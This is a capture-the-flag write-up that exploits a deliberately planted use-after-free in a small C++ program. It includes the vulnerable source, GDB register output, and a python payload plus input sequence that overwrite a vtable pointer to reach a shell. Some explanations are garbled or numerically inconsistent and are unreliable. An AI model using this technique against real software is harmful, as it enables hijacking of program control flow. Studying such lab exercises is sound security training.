First let's review the following code:
#include <fcntl.h>
#include <iostream>
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;
class Human{
private:
virtual void give_shell(){
system("/bin/sh");
}
protected:
int age;
string name;
public:
virtual void introduce(){
cout << "My name is " << name << endl;
cout << "I am " << age << " years old" << endl;
}
};
class Man: public Human{
public:
Man(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a nice guy!" << endl;
}
};
class Woman: public Human{
public:
Woman(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a cute girl!" << endl;
}
};
int main(int argc, char* argv[]){
Human* m = new Man("Jack", 25);
Human* w = new Woman("Jill", 21);
size_t len;
char* data;
unsigned int op;
while(1){
cout << "1. use\n2. after\n3. free\n";
cin >> op;
switch(op){
case 1:
m->introduce();
w->introduce();
break;
case 2:
len = atoi(argv[1]);
data = new char[len];
read(open(argv[2], O_RDONLY), data, len);
cout << "your data is allocated" << endl;
break;
case 3:
delete m;
delete w;
break;
default:
break;
}
}
return 0;
We can see that if we free
and then use
, it will cause segmentation fault, because we want to refer a object not exists. So if we use after
, it will copy chars whose length is argv[1]
from the file argv[2]
.
How does malloc
do its job(Form Here)?
- For large (>= 512 bytes) requests, it is a pure best-fit allocator, with ties normally decided via FIFO (i.e. least recently used).
- For small (<= 64 bytes by default) requests, it is a caching allocator, that maintains pools of quickly recycled chunks.
- In between, and for combinations of large and small requests, it does the best it can trying to meet both goals at once.
- For very large requests (>= 128KB by default), it relies on system memory mapping facilities, if supported.
In this code, we only need 24bit to save *vtable
,age
,*name
.
First we break at 0x400f18
and run:
RAX: 0x603040 --> 0x401570 --> 0x40117a (<_ZN5Human10give_shellEv>: push rbp)
RBX: 0x603040 --> 0x401570 --> 0x40117a (<_ZN5Human10give_shellEv>: push rbp)
RCX: 0x7ffff7dd93c0 --> 0x0
RDX: 0x19
RSI: 0x7fffffffea20 --> 0x603028 --> 0x6b63614a ('Jack')
RDI: 0x7ffff7dd93c0 --> 0x0
RBP: 0x7fffffffea70 --> 0x0
RSP: 0x7fffffffea10 --> 0x7fffffffeb58 --> 0x7fffffffed86 ("/home/c/ctf/uaf")
RIP: 0x400f18 (<main+84>: mov QWORD PTR [rbp-0x38],rbx)
R8 : 0x0
R9 : 0x2
R10: 0x7fffffffe790 --> 0x0
R11: 0x7ffff7b91470 (<_ZNSs6assignERKSs>: push rbp)
R12: 0x7fffffffea20 --> 0x603028 --> 0x6b63614a ('Jack')
R13: 0x7fffffffeb50 --> 0x1
R14: 0x0
R15: 0x0
The vtable
of Man
is at 0x401570
.x/3x 0x401570
:
0x401570 <_ZTV3Man+16>: 0x000000000040117a 0x00000000004012d2
0x401580 <_ZTV5Human>: 0x0000000000000000
The 0x000000000040117a
is give_shell
, and the 0x00000000004012d2
is introduce
of Man
.
So we will apply for space and write something to let the introduce
be give_shell
. When we call introduce
, it will call *vtable + x
. If addr + 4
== *vtable + 0(give_shell)
, the addr
must equals *vtable - 4
which is 0x401568
.
And the code will be:
python -c 'print ("\x68\x15\x40\x00\x00\x00\x00\x00")' > /tmp/ihcuaf
./uaf 8 /tmp/ihcuaf
3 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 1
cat flag
UPDATE:
Using 8 is not a correct way. It success only beacuse 24 is less than 32, apply for 8 will be given 32 too.
If some more attributes be added to class, it will not give you the freed block if you apply for 8.
python -c 'print ("\x68\x15\x40\x00\x00\x00\x00\x00")' > /tmp/ihcuaf
./uaf 24 /tmp/ihcuaf
3 2 2 1
cat flag
Because
w
is freed afterm
, the firstnew char[24]
will return the pointer tow
, and the secondnew char[24]
will return the pointer tom
.